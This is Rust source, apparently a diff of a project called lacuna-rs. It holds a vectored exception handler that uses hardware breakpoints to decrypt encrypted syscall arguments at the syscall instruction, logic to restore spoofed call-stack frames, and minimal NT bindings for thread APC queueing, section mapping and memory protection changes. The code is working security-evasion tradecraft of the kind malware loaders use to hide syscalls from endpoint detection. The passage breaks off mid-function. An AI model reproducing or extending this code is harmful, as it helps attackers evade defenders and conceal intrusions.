// veh.rs — Vectored Exception Handler + hardware-breakpoint parameter
|
||||
// encryption for lacuna-rs
|
||||
//
|
||||
// The VEH fires on DR0 (set on syscall;ret). It decrypts params only.
|
||||
// Return-address spoofing is handled by the stub's epilogue.
|
||||
// No DR1, no full_spoof, no [RSP] modification.
|
||||
//
|
||||
|
||||
#![cfg(feature = "veh")]
|
||||
#![allow(dead_code)]
|
||||
|
||||
use crate::win::{
|
||||
LONG, PVOID,
|
||||
CONTEXT, EXCEPTION_POINTERS,
|
||||
EXCEPTION_CONTINUE_EXECUTION, EXCEPTION_CONTINUE_SEARCH,
|
||||
EXCEPTION_SINGLE_STEP, CONTEXT_DEBUG_REGISTERS,
|
||||
CURRENT_THREAD, AddVectoredExceptionHandler, RemoveVectoredExceptionHandler,
|
||||
GetThreadContext, SetThreadContext,
|
||||
};
|
||||
use core::sync::atomic::{AtomicBool, AtomicU64, AtomicUsize, Ordering};
|
||||
use crate::win::ULONG64;
|
||||
|
||||
pub struct ParamCryptCtx {
|
||||
pub key: AtomicU64,
|
||||
pub armed: AtomicBool,
|
||||
pub full_spoof: AtomicBool,
|
||||
}
|
||||
|
||||
pub static G_PCRYPT: ParamCryptCtx = ParamCryptCtx {
|
||||
key: AtomicU64::new(0),
|
||||
armed: AtomicBool::new(false),
|
||||
full_spoof: AtomicBool::new(false),
|
||||
};
|
||||
|
||||
/// Runtime verbose flag — set via `set_verbose(true)` to enable VEH
|
||||
/// diagnostic output (stack dumps, register prints). Off by default.
|
||||
pub static G_VERBOSE: AtomicBool = AtomicBool::new(false);
|
||||
|
||||
/// Enable or disable verbose VEH diagnostics at runtime.
|
||||
pub fn set_verbose(on: bool) {
|
||||
G_VERBOSE.store(on, Ordering::Relaxed);
|
||||
}
|
||||
|
||||
pub static G_RET_GADGET: AtomicU64 = AtomicU64::new(0);
|
||||
pub static G_REAL_RET: AtomicU64 = AtomicU64::new(0);
|
||||
|
||||
pub const MAX_SPOOF: usize = 16;
|
||||
pub static G_SAVED_SLOTS: [AtomicU64; MAX_SPOOF] = [
|
||||
AtomicU64::new(0), AtomicU64::new(0), AtomicU64::new(0), AtomicU64::new(0),
|
||||
AtomicU64::new(0), AtomicU64::new(0), AtomicU64::new(0), AtomicU64::new(0),
|
||||
AtomicU64::new(0), AtomicU64::new(0), AtomicU64::new(0), AtomicU64::new(0),
|
||||
AtomicU64::new(0), AtomicU64::new(0), AtomicU64::new(0), AtomicU64::new(0),
|
||||
];
|
||||
pub static G_SAVED_IDX: [AtomicUsize; MAX_SPOOF] = [
|
||||
AtomicUsize::new(0), AtomicUsize::new(0), AtomicUsize::new(0), AtomicUsize::new(0),
|
||||
AtomicUsize::new(0), AtomicUsize::new(0), AtomicUsize::new(0), AtomicUsize::new(0),
|
||||
AtomicUsize::new(0), AtomicUsize::new(0), AtomicUsize::new(0), AtomicUsize::new(0),
|
||||
AtomicUsize::new(0), AtomicUsize::new(0), AtomicUsize::new(0), AtomicUsize::new(0),
|
||||
];
|
||||
pub static G_N_SPOOFED: AtomicUsize = AtomicUsize::new(0);
|
||||
pub static G_SPOOF_RSP: AtomicU64 = AtomicU64::new(0);
|
||||
pub static G_EXE_BASE: AtomicU64 = AtomicU64::new(0);
|
||||
pub static G_EXE_END: AtomicU64 = AtomicU64::new(0);
|
||||
|
||||
pub const STOMP_DEPTH: usize = 4;
|
||||
pub static G_STOMP_SLOTS: [AtomicU64; STOMP_DEPTH] = [
|
||||
AtomicU64::new(0), AtomicU64::new(0), AtomicU64::new(0), AtomicU64::new(0),
|
||||
];
|
||||
pub static G_STOMP_PTRS: [AtomicU64; STOMP_DEPTH] = [
|
||||
AtomicU64::new(0), AtomicU64::new(0), AtomicU64::new(0), AtomicU64::new(0),
|
||||
];
|
||||
pub static G_STOMP_SAVED: AtomicU64 = AtomicU64::new(0);
|
||||
pub static G_SAVE_RSP: AtomicU64 = AtomicU64::new(0);
|
||||
|
||||
#[cfg(not(feature = "stack-spoof"))]
|
||||
fn ghost_layers() -> [ULONG64; 4] { [0; 4] }
|
||||
|
||||
#[cfg(feature = "stack-spoof")]
|
||||
fn ghost_layers() -> [ULONG64; 4] { crate::chain::ghost_layers() }
|
||||
|
||||
pub unsafe fn dump_stack_frame(ctx: &CONTEXT, label: &str) {
|
||||
if !G_VERBOSE.load(Ordering::Relaxed) { return; }
|
||||
let rsp = ctx.Rsp as *const u64;
|
||||
let exe_base = G_EXE_BASE.load(Ordering::Relaxed);
|
||||
let exe_end = G_EXE_END.load(Ordering::Relaxed);
|
||||
let gh = ghost_layers();
|
||||
eprintln!();
|
||||
eprintln!(" +-- {} ---", label);
|
||||
eprintln!(" | RIP = {:#018x} RSP = {:#018x}", ctx.Rip, ctx.Rsp);
|
||||
eprintln!(" | RCX = {:#018x} R10 = {:#018x}", ctx.Rcx, ctx.R10);
|
||||
eprintln!(" | RDX = {:#018x} R8 = {:#018x}", ctx.Rdx, ctx.R8);
|
||||
eprintln!(" | R9 = {:#018x} RBX = {:#018x}", ctx.R9, ctx.Rbx);
|
||||
eprintln!(" | DR0 = {:#018x} DR1 = {:#018x}", ctx.Dr0, ctx.Dr1);
|
||||
eprintln!(" | DR6 = {:#018x} DR7 = {:#018x}", ctx.Dr6, ctx.Dr7);
|
||||
eprintln!(" |");
|
||||
eprintln!(" | exe range: {:#018x}-{:#018x}", exe_base, exe_end);
|
||||
if gh.iter().all(|&g| g != 0) {
|
||||
eprintln!(" | ghost layers: L1={:#018x} L2={:#018x} L3={:#018x} L4={:#018x}",
|
||||
gh[0], gh[1], gh[2], gh[3]);
|
||||
} else {
|
||||
eprintln!(" | ghost layers: (not set)");
|
||||
}
|
||||
eprintln!(" |");
|
||||
eprintln!(" | stack dump (RSP-relative):");
|
||||
for i in -2isize..16isize {
|
||||
let val = *rsp.offset(i);
|
||||
let note: &str = if i == 0 { "<= [RSP]" }
|
||||
else if val == 0 { "(null)" }
|
||||
else if val >= exe_base && val < exe_end { "EXE" }
|
||||
else { "" };
|
||||
eprintln!(" | [{:+4}] {:#018x} {}", i, val, note);
|
||||
}
|
||||
eprintln!(" +{}+", "-".repeat(40));
|
||||
eprintln!();
|
||||
}
|
||||
|
||||
pub extern "system" fn param_encrypt_veh(ep: *mut EXCEPTION_POINTERS) -> LONG {
|
||||
unsafe {
|
||||
let rec = &*(*ep).ExceptionRecord;
|
||||
if rec.ExceptionCode != EXCEPTION_SINGLE_STEP as i32 {
|
||||
return EXCEPTION_CONTINUE_SEARCH;
|
||||
}
|
||||
let ctx = &mut *(*ep).ContextRecord;
|
||||
if ctx.Dr6 & 0x1 == 0 || !G_PCRYPT.armed.load(Ordering::Relaxed) {
|
||||
return EXCEPTION_CONTINUE_SEARCH;
|
||||
}
|
||||
let key = G_PCRYPT.key.load(Ordering::Relaxed);
|
||||
let verbose = G_VERBOSE.load(Ordering::Relaxed);
|
||||
if verbose {
|
||||
eprintln!("{}{:#x}", lc!("[veh] DR0 hit -- at syscall;ret key="), key);
|
||||
}
|
||||
dump_stack_frame(ctx, "DR0: pre-syscall decrypt");
|
||||
if key != 0 {
|
||||
ctx.Rcx ^= key;
|
||||
ctx.R10 ^= key;
|
||||
ctx.Rdx ^= key;
|
||||
ctx.R8 ^= key;
|
||||
ctx.R9 ^= key;
|
||||
if verbose {
|
||||
eprintln!("{}RCX={:#018x} R10={:#018x} RDX={:#018x} R8={:#018x} R9={:#018x}",
|
||||
lc!("[veh] decrypted: "),
|
||||
ctx.Rcx, ctx.R10, ctx.Rdx, ctx.R8, ctx.R9);
|
||||
}
|
||||
}
|
||||
ctx.Dr0 = 0;
|
||||
ctx.Dr7 &= !0x1;
|
||||
ctx.Dr6 = 0;
|
||||
G_PCRYPT.armed.store(false, Ordering::Relaxed);
|
||||
if verbose {
|
||||
eprintln!("{}", lc!("[veh] DR0 cleared, continuing"));
|
||||
}
|
||||
EXCEPTION_CONTINUE_EXECUTION
|
||||
}
|
||||
}
|
||||
|
||||
pub extern "system" fn chain_veh(ep: *mut EXCEPTION_POINTERS) -> LONG {
|
||||
unsafe {
|
||||
let ctx = &mut *(*ep).ContextRecord;
|
||||
let ip = ctx.Rip;
|
||||
let gh = ghost_layers();
|
||||
let in_chain = gh.iter().any(|&g| ip >= g.saturating_sub(16) && ip <= g + 16);
|
||||
if in_chain {
|
||||
if G_VERBOSE.load(Ordering::Relaxed) {
|
||||
eprintln!("{}{:#018x}{}", lc!("[veh] chain_veh: RIP "), ip, lc!(" inside ghost frame"));
|
||||
}
|
||||
#[cfg(feature = "stack-spoof")]
|
||||
{ crate::chain::stomp_restore(); }
|
||||
ctx.Rsp = G_SAVE_RSP.load(Ordering::Relaxed);
|
||||
ctx.Rip = G_STOMP_SAVED.load(Ordering::Relaxed);
|
||||
return EXCEPTION_CONTINUE_EXECUTION;
|
||||
}
|
||||
EXCEPTION_CONTINUE_SEARCH
|
||||
}
|
||||
}
|
||||
|
||||
pub fn pcrypt_arm(key: u64, syscall_ret_addr: u64, full: bool) {
|
||||
if syscall_ret_addr == 0 { return; }
|
||||
G_PCRYPT.key.store(key, Ordering::Relaxed);
|
||||
G_PCRYPT.armed.store(true, Ordering::Relaxed);
|
||||
G_PCRYPT.full_spoof.store(full, Ordering::Relaxed);
|
||||
unsafe {
|
||||
let mut ctx: CONTEXT = core::mem::zeroed();
|
||||
ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
|
||||
GetThreadContext(CURRENT_THREAD, &mut ctx);
|
||||
ctx.Dr0 = syscall_ret_addr;
|
||||
ctx.Dr7 = (ctx.Dr7 & !0xF) | 0x1;
|
||||
ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
|
||||
SetThreadContext(CURRENT_THREAD, &mut ctx);
|
||||
}
|
||||
}
|
||||
|
||||
pub fn pcrypt_disarm() {
|
||||
G_PCRYPT.armed.store(false, Ordering::Relaxed);
|
||||
unsafe {
|
||||
let mut ctx: CONTEXT = core::mem::zeroed();
|
||||
ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
|
||||
GetThreadContext(CURRENT_THREAD, &mut ctx);
|
||||
ctx.Dr0 = 0;
|
||||
ctx.Dr1 = 0;
|
||||
ctx.Dr7 &= !0x5;
|
||||
ctx.Dr6 = 0;
|
||||
ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
|
||||
SetThreadContext(CURRENT_THREAD, &mut ctx);
|
||||
}
|
||||
}
|
||||
|
||||
pub struct PcryptVehGuard { handle: PVOID }
|
||||
impl PcryptVehGuard {
|
||||
pub fn register() -> Option<Self> {
|
||||
unsafe {
|
||||
let h = AddVectoredExceptionHandler(1, param_encrypt_veh);
|
||||
if h.is_null() { return None; }
|
||||
Some(PcryptVehGuard { handle: h })
|
||||
}
|
||||
}
|
||||
}
|
||||
impl Drop for PcryptVehGuard {
|
||||
fn drop(&mut self) {
|
||||
if !self.handle.is_null() { unsafe { RemoveVectoredExceptionHandler(self.handle); } }
|
||||
}
|
||||
}
|
||||
|
||||
pub struct ChainVehGuard { handle: PVOID }
|
||||
impl ChainVehGuard {
|
||||
pub fn register() -> Option<Self> {
|
||||
unsafe {
|
||||
let h = AddVectoredExceptionHandler(1, chain_veh);
|
||||
if h.is_null() { return None; }
|
||||
Some(ChainVehGuard { handle: h })
|
||||
}
|
||||
}
|
||||
}
|
||||
impl Drop for ChainVehGuard {
|
||||
fn drop(&mut self) {
|
||||
if !self.handle.is_null() { unsafe { RemoveVectoredExceptionHandler(self.handle); } }
|
||||
}
|
||||
}
|
||||
|
||||
pub struct VehGuard {
|
||||
pcrypt: Option<PcryptVehGuard>,
|
||||
chain: Option<ChainVehGuard>,
|
||||
}
|
||||
impl VehGuard {
|
||||
pub fn register() -> Option<Self> {
|
||||
let pcrypt = PcryptVehGuard::register()?;
|
||||
Some(VehGuard { pcrypt: Some(pcrypt), chain: None })
|
||||
}
|
||||
pub fn register_chain(&mut self) { self.chain = ChainVehGuard::register(); }
|
||||
}
|
||||
+452
@@ -0,0 +1,452 @@
|
||||
//
|
||||
// win.rs — minimal Win32/NT FFI bindings for lacuna-rs
|
||||
//
|
||||
// We deliberately avoid pulling in the `windows`/`windows-sys` crates so the
|
||||
// crate stays self-contained and compiles under `no_std` (alloc only). Only
|
||||
// the prototypes actually used by the ported C code are declared here.
|
||||
//
|
||||
// Ported from lacuna_chain.c (typedefs at top of file).
|
||||
//
|
||||
|
||||
#![allow(non_camel_case_types, non_snake_case, dead_code)]
|
||||
|
||||
use core::ffi::c_void;
|
||||
|
||||
// ── Primitive aliases ────────────────────────────────────────────────────────
|
||||
|
||||
pub type HANDLE = *mut c_void;
|
||||
pub type HMODULE = *mut c_void;
|
||||
pub type NTSTATUS = i32;
|
||||
pub type ACCESS_MASK = u32;
|
||||
pub type ULONG_PTR = usize;
|
||||
pub type SIZE_T = usize;
|
||||
pub type DWORD = u32;
|
||||
pub type WORD = u16;
|
||||
pub type BYTE = u8;
|
||||
pub type ULONG64 = u64;
|
||||
pub type DWORD64 = u64;
|
||||
pub type LONG = i32;
|
||||
pub type WCHAR = u16;
|
||||
pub type BOOLEAN = u8;
|
||||
pub type LARGE_INTEGER = i64;
|
||||
pub type PSTR = *mut u8;
|
||||
|
||||
pub const NULL: HANDLE = core::ptr::null_mut();
|
||||
|
||||
// ── NT success ───────────────────────────────────────────────────────────────
|
||||
|
||||
#[inline]
|
||||
pub fn nt_ok(s: NTSTATUS) -> bool {
|
||||
s >= 0
|
||||
}
|
||||
|
||||
// ── CLIENT_ID / OBJECT_ATTRIBUTES ────────────────────────────────────────────
|
||||
|
||||
#[repr(C)]
|
||||
#[derive(Clone, Copy, Default)]
|
||||
pub struct CLIENT_ID {
|
||||
pub UniqueProcess: HANDLE,
|
||||
pub UniqueThread: HANDLE,
|
||||
}
|
||||
|
||||
// Minimal OBJECT_ATTRIBUTES — we only ever zero-init it.
|
||||
#[repr(C)]
|
||||
pub struct OBJECT_ATTRIBUTES {
|
||||
pub Length: ULONG,
|
||||
pub RootDirectory: HANDLE,
|
||||
pub ObjectName: *mut c_void, // PUNICODE_STRING — we always pass NULL
|
||||
pub Attributes: ULONG,
|
||||
pub SecurityDescriptor: *mut c_void,
|
||||
pub SecurityQualityOfService: *mut c_void,
|
||||
}
|
||||
|
||||
impl Default for OBJECT_ATTRIBUTES {
|
||||
fn default() -> Self {
|
||||
Self {
|
||||
Length: core::mem::size_of::<OBJECT_ATTRIBUTES>() as ULONG,
|
||||
RootDirectory: core::ptr::null_mut(),
|
||||
ObjectName: core::ptr::null_mut(),
|
||||
Attributes: 0,
|
||||
SecurityDescriptor: core::ptr::null_mut(),
|
||||
SecurityQualityOfService: core::ptr::null_mut(),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
pub type CID = CLIENT_ID;
|
||||
|
||||
// ── NT function pointer typedefs ─────────────────────────────────────────────
|
||||
|
||||
pub type PNtOpenProcess = extern "system" fn(
|
||||
PHANDLE,
|
||||
ACCESS_MASK,
|
||||
*mut OBJECT_ATTRIBUTES,
|
||||
*mut CLIENT_ID,
|
||||
) -> NTSTATUS;
|
||||
|
||||
pub type PNtDelayExecution = extern "system" fn(BOOLEAN, *mut LARGE_INTEGER) -> NTSTATUS;
|
||||
pub type PNtClose = extern "system" fn(HANDLE) -> NTSTATUS;
|
||||
|
||||
pub type PNtOpenThread = extern "system" fn(
|
||||
PHANDLE,
|
||||
ACCESS_MASK,
|
||||
*mut OBJECT_ATTRIBUTES,
|
||||
*mut CLIENT_ID,
|
||||
) -> NTSTATUS;
|
||||
|
||||
pub type PNtQueueApcThread = extern "system" fn(
|
||||
HANDLE,
|
||||
PVOID,
|
||||
PVOID,
|
||||
PVOID,
|
||||
PVOID,
|
||||
) -> NTSTATUS;
|
||||
|
||||
pub type PNtAlertThread = extern "system" fn(HANDLE) -> NTSTATUS;
|
||||
|
||||
pub type PNtCreateSection = extern "system" fn(
|
||||
PHANDLE,
|
||||
ACCESS_MASK,
|
||||
*mut OBJECT_ATTRIBUTES,
|
||||
*mut LARGE_INTEGER,
|
||||
ULONG,
|
||||
ULONG,
|
||||
HANDLE,
|
||||
) -> NTSTATUS;
|
||||
|
||||
pub type PNtMapViewOfSection = extern "system" fn(
|
||||
HANDLE,
|
||||
HANDLE,
|
||||
*mut PVOID,
|
||||
ULONG_PTR,
|
||||
SIZE_T,
|
||||
*mut LARGE_INTEGER,
|
||||
*mut SIZE_T,
|
||||
ULONG,
|
||||
ULONG,
|
||||
ULONG,
|
||||
) -> NTSTATUS;
|
||||
|
||||
pub type PNtUnmapViewOfSection = extern "system" fn(HANDLE, PVOID) -> NTSTATUS;
|
||||
|
||||
pub type PNtProtectVirtualMemory = extern "system" fn(
|
||||
HANDLE,
|
||||
*mut PVOID,
|
||||
*mut SIZE_T,
|
||||
ULONG,
|
||||
*mut ULONG,
|
||||
) -> NTSTATUS;
|
||||
|
||||
pub type PNtQueryInformationThread = extern "system" fn(
|
||||
ThreadHandle: HANDLE,
|
||||
ThreadInformationClass: ULONG,
|
||||
ThreadInformation: PVOID,
|
||||
ThreadInformationLength: ULONG,
|
||||
ReturnLength: *mut ULONG,
|
||||
) -> NTSTATUS;
|
||||
|
||||
// ── Unwind APIs (used by verify) ─────────────────────────────────────────────
|
||||
|
||||
#[repr(C)]
|
||||
pub struct RUNTIME_FUNCTION {
|
||||
pub BeginAddress: DWORD,
|
||||
pub EndAddress: DWORD,
|
||||
pub UnwindData: DWORD,
|
||||
}
|
||||
|
||||
pub type PRUNTIME_FUNCTION = *mut RUNTIME_FUNCTION;
|
||||
|
||||
#[repr(C)]
|
||||
pub struct UNWIND_HISTORY_TABLE_ENTRY {
|
||||
pub ImageBase: DWORD64,
|
||||
pub FunctionEntry: PRUNTIME_FUNCTION,
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
pub struct UNWIND_HISTORY_TABLE {
|
||||
pub Count: ULONG,
|
||||
pub LocalHint: BYTE,
|
||||
pub GlobalHint: BYTE,
|
||||
pub Search: BYTE,
|
||||
pub Once: BYTE,
|
||||
pub LowAddress: DWORD64,
|
||||
pub HighAddress: DWORD64,
|
||||
pub Entry: [UNWIND_HISTORY_TABLE_ENTRY; 12],
|
||||
}
|
||||
|
||||
pub type PRtlLookupFunctionEntry = extern "system" fn(
|
||||
ControlPc: DWORD64,
|
||||
ImageBase: *mut DWORD64,
|
||||
HistoryTable: *mut UNWIND_HISTORY_TABLE,
|
||||
) -> PRUNTIME_FUNCTION;
|
||||
|
||||
// RtlVirtualUnwind is variadic-ish in the SDK; we declare a concrete signature.
|
||||
pub type PRtlVirtualUnwind = extern "system" fn(
|
||||
HandlerType: ULONG,
|
||||
ImageBase: DWORD64,
|
||||
ControlPc: DWORD64,
|
||||
FunctionEntry: PRUNTIME_FUNCTION,
|
||||
ContextRecord: *mut CONTEXT,
|
||||
HandlerData: *mut PVOID,
|
||||
EstablisherFrame: *mut DWORD64,
|
||||
ContextPointers: PVOID,
|
||||
);
|
||||
|
||||
// ── CONTEXT (x64) ────────────────────────────────────────────────────────────
|
||||
|
||||
pub const CONTEXT_AMD64: DWORD = 0x0010_0000;
|
||||
pub const CONTEXT_CONTROL: DWORD = CONTEXT_AMD64 | 0x0001;
|
||||
pub const CONTEXT_INTEGER: DWORD = CONTEXT_AMD64 | 0x0002;
|
||||
pub const CONTEXT_SEGMENTS: DWORD = CONTEXT_AMD64 | 0x0004;
|
||||
pub const CONTEXT_FLOATING_POINT: DWORD = CONTEXT_AMD64 | 0x0008;
|
||||
pub const CONTEXT_DEBUG_REGISTERS: DWORD = CONTEXT_AMD64 | 0x0010;
|
||||
pub const CONTEXT_FULL: DWORD = CONTEXT_CONTROL | CONTEXT_INTEGER | CONTEXT_SEGMENTS;
|
||||
|
||||
#[repr(C, align(16))]
|
||||
pub struct M128A {
|
||||
pub Low: u64,
|
||||
pub High: i64,
|
||||
}
|
||||
|
||||
#[repr(C, align(16))]
|
||||
pub struct CONTEXT {
|
||||
pub P1Home: DWORD64,
|
||||
pub P2Home: DWORD64,
|
||||
pub P3Home: DWORD64,
|
||||
pub P4Home: DWORD64,
|
||||
pub P5Home: DWORD64,
|
||||
pub P6Home: DWORD64,
|
||||
pub ContextFlags: DWORD,
|
||||
pub MxCsr: DWORD,
|
||||
pub SegCs: WORD,
|
||||
pub SegDs: WORD,
|
||||
pub SegEs: WORD,
|
||||
pub SegFs: WORD,
|
||||
pub SegGs: WORD,
|
||||
pub SegSs: WORD,
|
||||
pub EFlags: DWORD,
|
||||
pub Dr0: DWORD64,
|
||||
pub Dr1: DWORD64,
|
||||
pub Dr2: DWORD64,
|
||||
pub Dr3: DWORD64,
|
||||
pub Dr6: DWORD64,
|
||||
pub Dr7: DWORD64,
|
||||
pub Rax: DWORD64,
|
||||
pub Rcx: DWORD64,
|
||||
pub Rdx: DWORD64,
|
||||
pub Rbx: DWORD64,
|
||||
pub Rsp: DWORD64,
|
||||
pub Rbp: DWORD64,
|
||||
pub Rsi: DWORD64,
|
||||
pub Rdi: DWORD64,
|
||||
pub R8: DWORD64,
|
||||
pub R9: DWORD64,
|
||||
pub R10: DWORD64,
|
||||
pub R11: DWORD64,
|
||||
pub R12: DWORD64,
|
||||
pub R13: DWORD64,
|
||||
pub R14: DWORD64,
|
||||
pub R15: DWORD64,
|
||||
pub Rip: DWORD64,
|
||||
pub FltSave: [u8; 512],
|
||||
pub VectorRegister: [M128A; 26],
|
||||
pub VectorControl: DWORD64,
|
||||
pub DebugControl: DWORD64,
|
||||
pub LastBranchToRip: DWORD64,
|
||||
pub LastBranchFromRip: DWORD64,
|
||||
pub LastExceptionToRip: DWORD64,
|
||||
pub LastExceptionFromRip: DWORD64,
|
||||
}
|
||||
|
||||
impl Default for CONTEXT {
|
||||
fn default() -> Self {
|
||||
unsafe { core::mem::zeroed() }
|
||||
}
|
||||
}
|
||||
|
||||
// ── EXCEPTION_RECORD / VEH ───────────────────────────────────────────────────
|
||||
|
||||
pub const EXCEPTION_CONTINUE_EXECUTION: LONG = -1;
|
||||
pub const EXCEPTION_CONTINUE_SEARCH: LONG = 0;
|
||||
|
||||
pub const EXCEPTION_SINGLE_STEP: DWORD = 0x8000_0004;
|
||||
|
||||
#[repr(C)]
|
||||
pub struct EXCEPTION_RECORD {
|
||||
pub ExceptionCode: LONG,
|
||||
pub ExceptionFlags: DWORD,
|
||||
pub ExceptionRecord: *mut EXCEPTION_RECORD,
|
||||
pub ExceptionAddress: PVOID,
|
||||
pub NumberParameters: DWORD,
|
||||
pub ExceptionInformation: [ULONG_PTR; 15],
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
pub struct EXCEPTION_POINTERS {
|
||||
pub ExceptionRecord: *mut EXCEPTION_RECORD,
|
||||
pub ContextRecord: *mut CONTEXT,
|
||||
}
|
||||
|
||||
pub type PVECTORED_EXCEPTION_HANDLER =
|
||||
extern "system" fn(*mut EXCEPTION_POINTERS) -> LONG;
|
||||
|
||||
// ── Memory protection / allocation constants ─────────────────────────────────
|
||||
|
||||
pub type PVOID = *mut c_void;
|
||||
pub type PHANDLE = *mut HANDLE;
|
||||
pub type PULONG = *mut ULONG;
|
||||
pub type ULONG = u32;
|
||||
pub type PSIZE_T = *mut SIZE_T;
|
||||
pub type PLARGE_INTEGER = *mut LARGE_INTEGER;
|
||||
|
||||
pub const MEM_COMMIT: DWORD = 0x0000_1000;
|
||||
pub const MEM_RESERVE: DWORD = 0x0000_2000;
|
||||
pub const MEM_RELEASE: DWORD = 0x0000_8000;
|
||||
|
||||
pub const PAGE_NOACCESS: DWORD = 0x01;
|
||||
pub const PAGE_READONLY: DWORD = 0x02;
|
||||
pub const PAGE_READWRITE: DWORD = 0x04;
|
||||
pub const PAGE_EXECUTE: DWORD = 0x10;
|
||||
pub const PAGE_EXECUTE_READ: DWORD = 0x20;
|
||||
pub const PAGE_EXECUTE_READWRITE: DWORD = 0x40;
|
||||
|
||||
pub const ViewUnmap: ULONG = 2;
|
||||
pub const ViewShare: ULONG = 1;
|
||||
|
||||
pub const SECTION_ALL_ACCESS: ACCESS_MASK = 0x000F_001F;
|
||||
|
||||
pub const SEC_COMMIT: ULONG = 0x800_0000;
|
||||
|
||||
pub const THREAD_SET_CONTEXT: ACCESS_MASK = 0x0010;
|
||||
pub const THREAD_ALERT: ACCESS_MASK = 0x0004;
|
||||
pub const THREAD_QUERY_INFORMATION: ACCESS_MASK = 0x0040;
|
||||
|
||||
pub const PROCESS_VM_OPERATION: ACCESS_MASK = 0x0008;
|
||||
pub const PROCESS_VM_READ: ACCESS_MASK = 0x0010;
|
||||
pub const PROCESS_VM_WRITE: ACCESS_MASK = 0x0020;
|
||||
pub const PROCESS_QUERY_INFORMATION: ACCESS_MASK = 0x0400;
|
||||
|
||||
// ── Toolhelp32 ───────────────────────────────────────────────────────────────
|
||||
|
||||
pub const TH32CS_SNAPTHREAD: DWORD = 0x0000_0004;
|
||||
pub const INVALID_HANDLE_VALUE: HANDLE = -1isize as HANDLE;
|
||||
|
||||
// ── Thread information classes (for NtQueryInformationThread) ─────────────────
|
||||
|
||||
pub const ThreadBasicInformation: ULONG = 0;
|
||||
pub const ThreadTimes: ULONG = 1;
|
||||
pub const ThreadCycleTime: ULONG = 23;
|
||||
pub const ThreadSuspendCount: ULONG = 35;
|
||||
|
||||
pub type KAFFINITY = ULONG_PTR;
|
||||
|
||||
#[repr(C)]
|
||||
#[derive(Clone, Copy, Default)]
|
||||
pub struct KERNEL_USER_TIMES {
|
||||
pub CreateTime: DWORD64,
|
||||
pub ExitTime: DWORD64,
|
||||
pub KernelTime: DWORD64,
|
||||
pub UserTime: DWORD64,
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
#[derive(Clone, Copy, Default)]
|
||||
pub struct THREAD_CYCLE_TIME_INFORMATION {
|
||||
pub AccumulatedCycles: DWORD64,
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
#[derive(Clone, Copy, Default)]
|
||||
pub struct THREAD_BASIC_INFORMATION {
|
||||
pub ExitStatus: NTSTATUS,
|
||||
pub TebBaseAddress: PVOID,
|
||||
pub ClientId: CLIENT_ID,
|
||||
pub AffinityMask: KAFFINITY,
|
||||
pub Priority: LONG,
|
||||
pub BasePriority: LONG,
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
pub struct THREADENTRY32 {
|
||||
pub dwSize: DWORD,
|
||||
pub cntUsage: DWORD,
|
||||
pub th32ThreadID: DWORD,
|
||||
pub th32OwnerProcessID: DWORD,
|
||||
pub tpBasePri: LONG,
|
||||
pub tpDeltaPri: LONG,
|
||||
pub dwFlags: DWORD,
|
||||
}
|
||||
|
||||
// ── extern "system" kernel32/ntdll imports ───────────────────────────────────
|
||||
|
||||
type FARPROC = extern "system" fn() -> isize;
|
||||
|
||||
#[link(name = "kernel32")]
|
||||
extern "system" {
|
||||
pub fn GetModuleHandleA(lpModuleName: *const u8) -> HMODULE;
|
||||
pub fn GetModuleHandleW(lpModuleName: *const u16) -> HMODULE;
|
||||
pub fn LoadLibraryA(lpLibFileName: *const u8) -> HMODULE;
|
||||
pub fn GetProcAddress(hModule: HMODULE, lpProcName: *const u8) -> Option<FARPROC>;
|
||||
pub fn VirtualAlloc(
|
||||
lpAddress: PVOID,
|
||||
dwSize: SIZE_T,
|
||||
flAllocationType: DWORD,
|
||||
flProtect: DWORD,
|
||||
) -> PVOID;
|
||||
pub fn VirtualFree(lpAddress: PVOID, dwSize: SIZE_T, dwFreeType: DWORD) -> BOOL;
|
||||
pub fn VirtualProtect(
|
||||
lpAddress: PVOID,
|
||||
dwSize: SIZE_T,
|
||||
flNewProtect: DWORD,
|
||||
lpflOldProtect: *mut DWORD,
|
||||
) -> BOOL;
|
||||
pub fn CloseHandle(hObject: HANDLE) -> BOOL;
|
||||
pub fn CreateToolhelp32Snapshot(
|
||||
dwFlags: DWORD,
|
||||
th32ProcessID: DWORD,
|
||||
) -> HANDLE;
|
||||
pub fn Thread32First(hSnapshot: HANDLE, lpte: *mut THREADENTRY32) -> BOOL;
|
||||
pub fn Thread32Next(hSnapshot: HANDLE, lpte: *mut THREADENTRY32) -> BOOL;
|
||||
pub fn OpenThread(
|
||||
dwDesiredAccess: DWORD,
|
||||
bInheritHandle: BOOL,
|
||||
dwThreadId: DWORD,
|
||||
) -> HANDLE;
|
||||
pub fn GetCurrentThread() -> HANDLE;
|
||||
pub fn GetCurrentProcess() -> HANDLE;
|
||||
pub fn GetThreadContext(hThread: HANDLE, lpContext: *mut CONTEXT) -> BOOL;
|
||||
pub fn SetThreadContext(hThread: HANDLE, lpContext: *mut CONTEXT) -> BOOL;
|
||||
pub fn AddVectoredExceptionHandler(
|
||||
First: ULONG,
|
||||
Handler: PVECTORED_EXCEPTION_HANDLER,
|
||||
) -> PVOID;
|
||||
pub fn RemoveVectoredExceptionHandler(Handle: PVOID) -> ULONG;
|
||||
pub fn GetLastError() -> DWORD;
|
||||
pub fn SetConsoleOutputCP(wCodePageID: UINT) -> BOOL;
|
||||
}
|
||||
|
||||
#[link(name = "ntdll")]
|
||||
extern "system" {
|
||||
pub fn NtDelayExecution(Alertable: BOOLEAN, DelayInterval: *mut LARGE_INTEGER) -> NTSTATUS;
|
||||
}
|
||||
|
||||
// ── Convenience helpers ──────────────────────────────────────────────────────
|
||||
|
||||
pub type BOOL = i32;
|
||||
pub type UINT = u32;
|
||||
|
||||
/// Get a module handle by ASCII name (e.g. b"ntdll.dll\0").
|
||||
pub fn get_module(name: &[u8]) -> HMODULE {
|
||||
unsafe { GetModuleHandleA(name.as_ptr()) }
|
||||
}
|
||||
|
||||
/// Resolve an export by name from a loaded module.
|
||||
pub fn get_proc(h: HMODULE, name: &[u8]) -> Option<*mut c_void> {
|
||||
unsafe {
|
||||
